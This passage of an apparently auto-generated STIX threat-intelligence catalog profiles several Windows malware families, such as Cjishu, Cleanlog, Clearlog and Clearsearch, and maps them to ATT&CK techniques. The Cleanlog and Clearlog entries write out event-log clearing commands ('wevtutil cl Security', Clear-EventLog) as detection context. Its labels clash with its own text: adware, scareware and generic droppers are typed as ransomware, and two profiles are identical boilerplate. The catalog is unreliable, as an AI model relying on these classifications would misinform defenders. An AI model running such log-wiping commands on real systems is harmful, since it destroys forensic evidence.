      "description": "Trojan:Win32/Ciyaamgnrsg (or similar auto-generated alphanumeric strings) represents the antivirus industry's response to highly polymorphic malware or Domain Generation Algorithms (DGA). Instead of a named family, this string is a generic, randomized identifier assigned by an AV engine to a threat that is rapidly shifting its signature to evade detection (`T1027`). This indicates the presence of a sophisticated dropper or a botnet agent actively communicating with shifting C2 infrastructure.<br><br><b>Understanding Polymorphic/DGA Identifiers</b><br>To an end-user, the file is simply blocked. For a SOC analyst, a detection with a randomized name like 'Ciyaamgnrsg' is a signal that static IOCs (like file hashes) will be nearly useless for hunting. The attacker is using automated tools to recompile the malware for every victim, or using DGA to contact thousands of different domains a day.<br><br><b>Execution and Polymorphic Mechanics</b><br>When executed, polymorphic threats unpack themselves dynamically in memory (`T1027.002`). They often inject their code into legitimate processes (like `svchost.exe`) (`T1055`) to hide their activity. If the threat utilizes DGA (`T1568.002`), it uses a mathematical algorithm to generate hundreds of potential C2 domain names. The malware attempts to connect to these domains until it finds one that the attacker has actually registered and activated for that day's operations, making IP/Domain blacklisting highly ineffective.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the payload the polymorphic dropper intends to deliver (ransomware, infostealers, etc.). Host-based IoCs must focus on behavior: EDR alerts for process injection, anomalous child process spawning, or rapid creation/deletion of temporary files. Network IoCs are characterized by the malware generating a massive volume of DNS requests for non-existent, randomly generated domains (NXDOMAIN responses), mixed with a few successful connections. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ciyaamgnrsg",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ciyaamgnrsg"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c414ae2f-9bbd-5d4c-903e-2ae5eb745376",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--135d8165-035a-5f93-b55c-d83cd64979cf",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciyaamgnrsg exhibits technique T1027 (Obfuscated Files or Information (Polymorphism used to evade static signatures))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e56ced4c-dacc-53bd-823c-2525fac54687",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--135d8165-035a-5f93-b55c-d83cd64979cf",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciyaamgnrsg exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cedc6e9f-71d0-5509-bdc5-03d1de489666",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--135d8165-035a-5f93-b55c-d83cd64979cf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ciyaamgnrsg exhibits technique T1055 (Process Injection (Hiding the unpacked, malicious code inside legitimate processes))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cjishu",
      "description": "Trojan:Win32/Cjishu is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cjishu</b><br>To an end-user, a Cjishu infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cjishu is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cjishu is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cjishu frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cjishu reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cjishu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cjishu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fbc45c81-d630-5711-ac30-9ac2a182b78d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cjishu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a84706e-7ef8-5cbd-b3e4-243f7412b19c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cjishu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7eeb3fea-8365-562e-9609-b3b8c4171e25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cjishu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95eedf6a-e191-589e-8ded-84e7d3c336cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cjishu exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2e39f97-654b-573a-8f1e-404a5e8fd4fd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a91de7fa-fb25-510c-aed8-a7a23c816df6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cjishu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cleaman",
      "description": "Trojan:Win32/Cleaman is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Cleaman</b><br>To an end-user, a Cleaman infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Cleaman is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Cleaman is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Cleaman frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cleaman reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cleaman",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cleaman"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37d109ad-91f9-59e5-b283-71048178362e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleaman exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4113cde-6d9e-59ba-aba6-4f8f15ef35d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleaman exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--52132e50-4346-5a19-832a-1e1eede00116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleaman exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--179909cb-42f7-57b4-bc70-a428dc26dda5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleaman exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7451488-8341-58e3-9296-1a67b0946b4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0892c94d-8ef0-5ede-b83a-55b05ea1eed5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleaman exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--12c88f76-5988-5ecd-bb8b-4d2afaa253bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cleanlog",
      "description": "Trojan:Win32/Cleanlog is a specialized defense evasion tool utilized by advanced attackers (often post-exploitation) to deliberately cover their tracks. Its explicit purpose is to systematically delete, alter, or corrupt Windows Event Logs, application logs, and firewall histories (`T1070.001`). It is not an initial infection vector, but rather a utility used to hinder incident response investigations.<br><br><b>Understanding Cleanlog (Indicator Removal Tools)</b><br>To an end-user, the execution of Cleanlog is completely invisible. For a security operations center (SOC), the sudden clearing of security logs is the equivalent of a fire alarm. The presence of Cleanlog definitively proves that an attacker had full administrative or SYSTEM level access to the endpoint and is actively trying to hide malicious activity (like lateral movement or credential dumping).<br><br><b>Execution and Evasion Mechanics</b><br>Cleanlog must run with elevated privileges. It uses various Windows APIs and built-in tools (like `wevtutil.exe cl`) to target specific logs (Security, System, Application). Advanced variants may not just clear the logs, but selectively delete specific Event IDs related to the attacker's actions (`T1070.002`), making the tampering harder to detect than a massive log clearing event. It may also securely wipe dropped payloads from the disk (`T1070.004`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded forensic trail, making it difficult to determine the scope of the breach or the root cause. Host-based IoCs are highly specific: Event ID 1102 (The audit log was cleared) in the Security log, or Event ID 104 (The Application/System log was cleared) in the System log. EDR should flag the execution of `wevtutil` or unexpected API calls related to event log manipulation by non-standard processes. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cleanlog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cleanlog"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1070.001: Indicator Removal: Clear Windows Event Logs (The primary function of the tool)",
      "description": "MITRE ATT&CK Technique T1070.001 (Indicator Removal: Clear Windows Event Logs (The primary function of the tool)) under tactic Defense Evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1070.001",
          "url": "https://attack.mitre.org/techniques/T1070/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10d1a18e-cc04-51dd-8252-6aa3678bf8ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12c88f76-5988-5ecd-bb8b-4d2afaa253bb",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanlog exhibits technique T1070.001 (Indicator Removal: Clear Windows Event Logs (The primary function of the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c09ceb54-ca9f-5a1c-99c0-2cf382bf0bf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12c88f76-5988-5ecd-bb8b-4d2afaa253bb",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanlog exhibits technique T1070.004 (Indicator Removal: File Deletion (Securely wiping dropped payloads from disk))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f83aa002-12f2-594d-9ad7-0ce43dae84b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12c88f76-5988-5ecd-bb8b-4d2afaa253bb",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanlog exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Stopping logging services temporarily))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1c51d38f-94f5-5305-bdfc-b8ca2ef9fa80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cleanpcpro",
      "description": "<h3>Executive Summary</h3>\nCleanPCPro is a deceptive Potentially Unwanted Program (PUP) that operates as \"Rogue Security Software\" or a fake system optimizer. It employs classic scareware tactics, performing superficial or completely fabricated system \"scans\" to generate alarming false-positive reports about critical registry errors, outdated drivers, or fragmented drives. Its sole objective is to frighten the user into purchasing a \"premium license\" to fix these non-existent problems.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCleanPCPro relies almost entirely on aggressive malvertising and deceptive software bundling. Users typically encounter it via alarming pop-up ads claiming their \"PC is critically slow\" or when downloading freeware from third-party aggregators, where the utility is installed silently in the background.\n\nOnce installed, the software employs highly aggressive extortion tactics:\n<ul>\n<li><strong>Deceptive Scanning and Scareware Tactics:</strong> The application launches automatically on boot and performs a rapid, fake \"scan\" of the system. It invariably reports hundreds of \"critical system errors,\" creating a false sense of urgency and impending system instability.</li>\n<li><strong>System Hostage (Locking):</strong> Aggressive variants may employ locking tactics. They may constantly overlay the screen with warnings or fake Blue Screens of Death (BSODs), effectively holding the user's workflow hostage until they pay the ransom (buys the \"license\").</li>\n<li><strong>Persistent Nagging:</strong> The software establishes persistence via registry `Run` keys and scheduled tasks, ensuring that even if the user closes the application, it repeatedly re-launches and interrupts workflow with purchase prompts.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile technically not destructive malware like a file-encrypting ransomware, CleanPCPro poses a severe threat to user productivity and financial security (extortion). The aggressive persistence mechanisms cause significant IT helpdesk overhead, and the constant alarming pop-ups create severe disruption.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Safe Mode Execution:</strong> Due to the aggressive screen-locking and self-defense mechanisms, it is often necessary to boot the infected machine into Windows \"Safe Mode\" to prevent the scareware from launching before attempting removal.</li>\n<li><strong>Targeted Anti-Malware Scan:</strong> Utilize a reputable enterprise anti-malware solution (specifically tuned for Rogue Software and Scareware removal) to scan for and remove the deeply embedded registry keys and scheduled tasks.</li>\n<li><strong>Financial Dispute:</strong> If the user was tricked into purchasing the fake software, advise them to immediately contact their credit card company to dispute the fraudulent charge.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue.CleanPCPro",
        "PUP.FakeOptimizer",
        "Scareware.Win32"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cleanpcpro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cleanpcpro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f140b8ac-3172-5ed5-899d-b4e004b49166",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c51d38f-94f5-5305-bdfc-b8ca2ef9fa80",
      "target_ref": "attack-pattern--c79f8b9c-f6e3-550e-85cc-41fb2ac75634",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanpcpro exhibits technique T1491 (Defacement (Displaying fake security warnings / Scareware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc550c66-b9d2-599b-bdac-e37bebd848fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c51d38f-94f5-5305-bdfc-b8ca2ef9fa80",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanpcpro exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc3b9a91-44be-5532-998c-a64f4a3bdba8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1c51d38f-94f5-5305-bdfc-b8ca2ef9fa80",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cleanpcpro exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--40cd6dbb-b375-5b54-88d2-85bddb483cc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clearlog",
      "description": "HackTool:Win32/Clearlog is a critical **Heuristic Detection** specifically designed to flag executables, scripts, or command-line activity attempting to wipe the Windows Security, Application, or System Event Logs. This is not a specific malware family, but a detection of a core Defense Evasion tactic (`T1070.001`). Legitimate system administrators rarely clear security logs; therefore, this action is almost exclusively associated with attackers or advanced malware attempting to erase forensic evidence of a breach.<br><br><b>Understanding Clearlog (Defense Evasion)</b><br>To an end-user, this action is invisible. For a SOC analyst, a Clearlog alert is an absolute, 'hair-on-fire' emergency. It means an attacker has not only compromised the system but has achieved administrative privileges (required to clear security logs) and is actively trying to hide their lateral movement, privilege escalation, or exfiltration activities.<br><br><b>Execution and Evasion Mechanics</b><br>Attackers trigger this detection by using built-in Windows utilities (Living off the Land) or custom scripts. Common methods include executing `wevtutil cl System` or `wevtutil cl Security` from a command prompt (`T1059.003`), using the PowerShell cmdlet `Clear-EventLog`, or utilizing WMI methods. Sophisticated malware might interact directly with the Windows Event Log API to selectively delete specific records, though bulk clearing is more common. This action permanently destroys the local forensic trail of the attacker's initial access and subsequent actions.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the devastating loss of forensic visibility on the compromised endpoint. The primary IoC *is* the alert itself. Host-based IoCs include EDR telemetry logging the execution of `wevtutil.exe` with the `cl` (clear) flag. Paradoxically, the Windows Event Log generates a final event before being wiped: **Event ID 1102 (The audit log was cleared)**. The presence of this specific Event ID is the definitive indicator of a successful Clearlog action. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clearlog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clearlog"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3dda510e-416c-5cc3-9135-bd0b703c2b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40cd6dbb-b375-5b54-88d2-85bddb483cc4",
      "target_ref": "attack-pattern--f4dff660-6b8e-56cd-ac2a-fd397d272c8a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearlog exhibits technique T1070.001 (Indicator Removal on Host: Clear Windows Event Logs)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5f559b1-08cb-5532-ac5f-7c043c15c712",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40cd6dbb-b375-5b54-88d2-85bddb483cc4",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearlog exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Using Clear-EventLog))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6c69ea7-422f-5218-ae55-02bdb469e8c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--40cd6dbb-b375-5b54-88d2-85bddb483cc4",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Clearlog exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Using wevtutil))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2a6a054-dc81-5396-80fb-b7f552100363",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Clearsearch",
      "description": "<h3>Executive Summary</h3>\nClearSearch is a highly disruptive Adware and Browser Hijacker variant designed to aggressively monetize infected endpoints. It achieves this by forcefully injecting unauthorized advertisements into the user's web browsing experience, redirecting search queries to affiliate marketing networks, and comprehensively tracking the user's online behavior to generate illicit ad revenue for the threat actors.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nClearSearch primarily infiltrates systems via deceptive software bundling. It is frequently packaged with \"freeware\" applications, media players, or PDF converters downloaded from third-party, untrustworthy aggregators. The installation is often obscured through deceptive UI \"Dark Patterns\" that trick the user into authorizing the adware's deployment.\n\nOnce installed, ClearSearch employs several aggressive techniques:\n<ul>\n<li><strong>Browser Extension Forcing:</strong> It installs malicious extensions or add-ons across all major web browsers (Chrome, Firefox, Edge). It often uses Group Policy Object (GPO) modifications in Windows to force-install these extensions and prevent the user from disabling them.</li>\n<li><strong>Search Hijacking and Redirection:</strong> ClearSearch alters the browser's default search engine and homepage. Legitimate search queries are intercepted and routed through attacker-controlled domains to artificially inflate traffic metrics for affiliate programs.</li>\n<li><strong>Content Injection:</strong> The adware actively modifies the HTML of legitimate websites the user visits, overlaying the page with intrusive pop-ups, banner ads, and in-text hyperlinks that were not placed there by the site owner.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile ClearSearch does not typically encrypt files like ransomware, it severely degrades the operational capacity of the endpoint. The constant redirection and rendering of injected ads consume significant CPU and RAM, leading to browser crashes and system instability. Furthermore, the extensive harvesting of browsing history constitutes a severe privacy violation.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> Utilize an enterprise-grade anti-malware solution capable of detecting and removing deeply embedded Potentially Unwanted Programs (PUPs), specifically targeting the persistent registry keys associated with the hijacker.</li>\n<li><strong>Remediation of Group Policies:</strong> IT staff must inspect the local Group Policy settings (specifically Chrome/Edge enterprise policies) to remove any entries that are force-installing the malicious extensions.</li>\n<li><strong>Browser Factory Reset:</strong> The most effective way to eradicate the hijacking components is to perform a complete factory reset of all installed web browsers, clearing all extensions, caches, and custom settings.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.ClearSearch",
        "BrowserHijacker.ClearSearch",
        "PUP.ClearSearch"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Clearsearch",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/clearsearch"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
